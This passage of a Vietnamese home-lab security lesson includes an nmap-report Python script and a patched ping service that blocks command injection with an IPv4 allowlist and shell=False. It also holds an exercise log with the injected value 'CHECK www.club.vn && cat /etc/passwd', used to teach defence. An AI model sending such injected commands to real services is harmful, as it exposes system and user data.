8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
443: ("THAP", "Web co ma hoa", "Binh thuong"),
631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}
def risk_of(port):
return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))
def read_hosts(path):
hosts = []
for h in ET.parse(path).getroot().findall("host"):
addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
ports = []
for p in h.findall("ports/port"):
if p.find("state").get("state") == "open":
svc = p.find("service")
ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
"vendor": vendor or "", "ports": sorted(ports)})
return hosts
def read_book(path):
# so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
with open(path, newline="", encoding="utf-8") as f:
return list(csv.DictReader(f))
def in_book(host, book):
for row in book:
mac = (row.get("mac") or "").strip().lower()
if host["mac"] and mac and mac == host["mac"]:
return row
if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
return row
return None
def main():
ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
args = ap.parse_args()
hosts = read_hosts(args.xml)
book = read_book(args.so) if args.so else None
print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
worst_all = []
for h in hosts:
known = in_book(h, book) if book is not None else None
label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
if not h["ports"]:
print(" khong thay port mo (trong pham vi da quet)")
for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
level, why, todo = risk_of(port)
print(f" [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
worst_all.append((ORDER[level], h["ip"], port, why, todo))
if book is not None:
unknown = [h["ip"] for h in hosts if not in_book(h, book)]
print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
high = [w for w in worst_all if w[0] == 0]
print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
for _, ip, port, why, todo in high:
print(f" - {ip}:{port} {why} -> {todo}")
if __name__ == "__main__":
main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
cat > nmap_report.py <<'EOF'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
# nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
# python3 nmap_report.py quet.xml
# python3 nmap_report.py quet.xml --so thiet-bi.csv (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET
# port -> (muc, ly do ngan, viec nen lam)
RISK = {
21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
443: ("THAP", "Web co ma hoa", "Binh thuong"),
631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}
def risk_of(port):
return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))
def read_hosts(path):
hosts = []
for h in ET.parse(path).getroot().findall("host"):
addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
ports = []
for p in h.findall("ports/port"):
if p.find("state").get("state") == "open":
svc = p.find("service")
ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
"vendor": vendor or "", "ports": sorted(ports)})
return hosts
def read_book(path):
# so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
with open(path, newline="", encoding="utf-8") as f:
return list(csv.DictReader(f))
def in_book(host, book):
for row in book:
mac = (row.get("mac") or "").strip().lower()
if host["mac"] and mac and mac == host["mac"]:
return row
if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
return row
return None
def main():
ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
args = ap.parse_args()
hosts = read_hosts(args.xml)
book = read_book(args.so) if args.so else None
print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
worst_all = []
for h in hosts:
known = in_book(h, book) if book is not None else None
label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
if not h["ports"]:
print(" khong thay port mo (trong pham vi da quet)")
for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
level, why, todo = risk_of(port)
print(f" [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
worst_all.append((ORDER[level], h["ip"], port, why, todo))
if book is not None:
unknown = [h["ip"] for h in hosts if not in_book(h, book)]
print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
high = [w for w in worst_all if w[0] == 0]
print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
for _, ip, port, why, todo in high:
print(f" - {ip}:{port} {why} -> {todo}")
if __name__ == "__main__":
main()
EOF@'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
# nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
# python3 nmap_report.py quet.xml
# python3 nmap_report.py quet.xml --so thiet-bi.csv (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET
# port -> (muc, ly do ngan, viec nen lam)
RISK = {
21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
443: ("THAP", "Web co ma hoa", "Binh thuong"),
631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}
def risk_of(port):
return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))
def read_hosts(path):
hosts = []
for h in ET.parse(path).getroot().findall("host"):
addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
ports = []
for p in h.findall("ports/port"):
if p.find("state").get("state") == "open":
svc = p.find("service")
ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
"vendor": vendor or "", "ports": sorted(ports)})
return hosts
def read_book(path):
# so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
with open(path, newline="", encoding="utf-8") as f:
return list(csv.DictReader(f))
def in_book(host, book):
for row in book:
mac = (row.get("mac") or "").strip().lower()
if host["mac"] and mac and mac == host["mac"]:
return row
if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
return row
return None
def main():
ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
args = ap.parse_args()
hosts = read_hosts(args.xml)
book = read_book(args.so) if args.so else None
print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
worst_all = []
for h in hosts:
known = in_book(h, book) if book is not None else None
label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
if not h["ports"]:
print(" khong thay port mo (trong pham vi da quet)")
for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
level, why, todo = risk_of(port)
print(f" [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
worst_all.append((ORDER[level], h["ip"], port, why, todo))
if book is not None:
unknown = [h["ip"] for h in hosts if not in_book(h, book)]
print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
high = [w for w in worst_all if w[0] == 0]
print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
for _, ip, port, why, todo in high:
print(f" - {ip}:{port} {why} -> {todo}")
if __name__ == "__main__":
main()
'@ | Set-Content -Path nmap_report.py -Encoding asciicat > nmap_report.py <<'EOF'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
# nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
# python3 nmap_report.py quet.xml
# python3 nmap_report.py quet.xml --so thiet-bi.csv (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET
# port -> (muc, ly do ngan, viec nen lam)
RISK = {
21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
443: ("THAP", "Web co ma hoa", "Binh thuong"),
631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}
def risk_of(port):
return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))
def read_hosts(path):
hosts = []
for h in ET.parse(path).getroot().findall("host"):
addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
ports = []
for p in h.findall("ports/port"):
if p.find("state").get("state") == "open":
svc = p.find("service")
ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
"vendor": vendor or "", "ports": sorted(ports)})
return hosts
def read_book(path):
# so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
with open(path, newline="", encoding="utf-8") as f:
return list(csv.DictReader(f))
def in_book(host, book):
for row in book:
mac = (row.get("mac") or "").strip().lower()
if host["mac"] and mac and mac == host["mac"]:
return row
if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
return row
return None
def main():
ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
args = ap.parse_args()
hosts = read_hosts(args.xml)
book = read_book(args.so) if args.so else None
print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
worst_all = []
for h in hosts:
known = in_book(h, book) if book is not None else None
label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
if not h["ports"]:
print(" khong thay port mo (trong pham vi da quet)")
for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
level, why, todo = risk_of(port)
print(f" [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
worst_all.append((ORDER[level], h["ip"], port, why, todo))
if book is not None:
unknown = [h["ip"] for h in hosts if not in_book(h, book)]
print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
high = [w for w in worst_all if w[0] == 0]
print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
for _, ip, port, why, todo in high:
print(f" - {ip}:{port} {why} -> {todo}")
if __name__ == "__main__":
main()
EOFnmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
python3 nmap_report.py quet.xmlnmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
py nmap_report.py quet.xmlnmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
python3 nmap_report.py quet.xmlKhông bắt buộc cho demo 2 máy ở bài này; hữu ích khi soát lại rủi ro cho cả một mạng nhà sau bài 8.
BÀI TẬP 1 · 10 PHÚT
Đọc một log server và tìm chỗ sai
Log của một dịch vụ khác (giả định, cùng kiểu lỗi):
[ket noi] nhan: 'CHECK www.club.vn && cat /etc/passwd\n'- Tính năng dự kiến của dịch vụ này là gì?
- Phần nào trong chuỗi là dữ liệu hợp lệ, phần nào là lệnh gắn thêm?
- Ký tự nào cho phép gắn thêm lệnh ở đây, khác gì so với dấu
;trong bài?
Xem đáp án
- Kiểm tra (CHECK) một địa chỉ website, có thể là ping hoặc gọi thử trang.
- Hợp lệ:
www.club.vn. Gắn thêm:cat /etc/passwd(đọc file chứa thông tin người dùng hệ thống trên Linux). &&nghĩa là "chạy lệnh sau nếu lệnh trước thành công" — khác dấu;(luôn chạy lệnh sau) nhưng cùng là một ký tự đặc biệt của shell không được kiểm tra trước.
Bước 5 · Vá lỗi đúng cách
15 phút; là ký tự đặc biệt nữa.BƯỚC 1Tạo vuln_app_fixed.py, dừng app cũ
Ở Terminal A, nhấn Ctrl+C để dừng vuln_app.py. Tạo file sửa:
vuln_app_fixed.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.
Xem mã Python · có tô màu và số dòng
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:
1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
moi ky tu la hoac khong thuoc dinh dang mong doi.
2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
qua shell nen khong co cho noi them lenh thu hai.
Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def is_safe_ipv4(text: str) -> bool:
try:
ipaddress.IPv4Address(text)
return True
except ValueError:
return False
def handle(payload: str) -> str:
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:].strip()
if not is_safe_ipv4(target):
return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
try:
# shell=False + list tham so: khong co "shell" de noi them lenh
flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
out = subprocess.run(["ping", *flags, target],
shell=False, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
cat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:
1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
moi ky tu la hoac khong thuoc dinh dang mong doi.
2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
qua shell nen khong co cho noi them lenh thu hai.
Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def is_safe_ipv4(text: str) -> bool:
try:
ipaddress.IPv4Address(text)
return True
except ValueError:
return False
def handle(payload: str) -> str:
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:].strip()
if not is_safe_ipv4(target):
return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
try:
# shell=False + list tham so: khong co "shell" de noi them lenh
flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
out = subprocess.run(["ping", *flags, target],
shell=False, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
EOF@'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:
1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
moi ky tu la hoac khong thuoc dinh dang mong doi.
2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
qua shell nen khong co cho noi them lenh thu hai.
Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def is_safe_ipv4(text: str) -> bool:
try:
ipaddress.IPv4Address(text)
return True
except ValueError:
return False
def handle(payload: str) -> str:
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:].strip()
if not is_safe_ipv4(target):
return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
try:
# shell=False + list tham so: khong co "shell" de noi them lenh
flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
out = subprocess.run(["ping", *flags, target],
shell=False, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
'@ | Set-Content -Path vuln_app_fixed.py -Encoding asciicat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:
1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
moi ky tu la hoac khong thuoc dinh dang mong doi.
2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
qua shell nen khong co cho noi them lenh thu hai.
Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def is_safe_ipv4(text: str) -> bool:
try:
ipaddress.IPv4Address(text)
return True
except ValueError:
return False
def handle(payload: str) -> str:
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:].strip()
if not is_safe_ipv4(target):
return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
try:
# shell=False + list tham so: khong co "shell" de noi them lenh
flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
out = subprocess.run(["ping", *flags, target],
shell=False, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
EOFBƯỚC 2Đọc đúng cách sửa trong code
Mở "Xem mã Python" ở trên, tìm hàm is_safe_ipv4() và handle(). Ba dòng sau là nơi fix nằm — đối chiếu trực tiếp với hai dòng gây lỗi ở bước 3:
| Phần | Ý nghĩa |
|---|---|
is_safe_ipv4(text) | Thử tạo một ipaddress.IPv4Address từ chuỗi. Tạo được → đúng IPv4. Lỗi (kể cả vì có dấu ;) → coi là không hợp lệ. |
if not is_safe_ipv4(target): return "TU CHOI..." | Kiểm tra trước, dừng và trả lời ngay nếu sai khuôn mẫu — dòng gọi lệnh ở dưới không bao giờ được chạm tới. |
subprocess.run(["ping", *flags, target], shell=False) | Gọi lệnh bằng danh sách tham số tách rời, không phải một chuỗi ghép. shell=False: không có shell nào đọc chuỗi để tìm dấu ; cả. |
Hai thay đổi độc lập: allowlist chặn dữ liệu sai khuôn mẫu từ sớm, danh sách tham số khiến dù lọt qua được thì cũng không còn "câu lệnh" nào để shell diễn giải thêm.
BƯỚC 3Chạy bản đã sửa, thử lại đúng payload cũ
Thử lại trên bản đã sửa
Vẫn đúng payload cũ, lần này server kiểm tra trước khi làm bất cứ điều gì.
is_safe_ipv4(target)Trước khi chạy lệnh nào, bản sửa gọi is_safe_ipv4() để kiểm tra chuỗi có đúng khuôn một địa chỉ IPv4 hay không.
Điều cần hiểu: Việc kiểm tra xảy ra TRƯỚC khi chạm tới subprocess, không phải sau.
return "TU CHOI: ... khong hop le"Vì không khớp allowlist IPv4, hàm handle() trả lời ngay bằng thông báo từ chối — subprocess không bao giờ được gọi tới.
Điều cần hiểu: Không có lệnh thứ hai nào chạy, vì không có lệnh nào chạy cả.
subprocess.run(["ping","-c","1",target])Khi dùng danh sách tham số với shell=False, hệ điều hành không dựng lại "một câu lệnh" từ chuỗi nữa — target dù chứa dấu ; cũng chỉ là một chuỗi tham số, không có ý nghĩa đặc biệt.
Điều cần hiểu: Allowlist + danh sách tham số là cách sửa chuẩn, không phải chỉ riêng chặn dấu ;.
Hình minh họa không chạy Python và không gửi gói tin. Bấm Tiếp để học theo nhịp của bạn; Phát tự chuyển cảnh mỗi 9 giây.
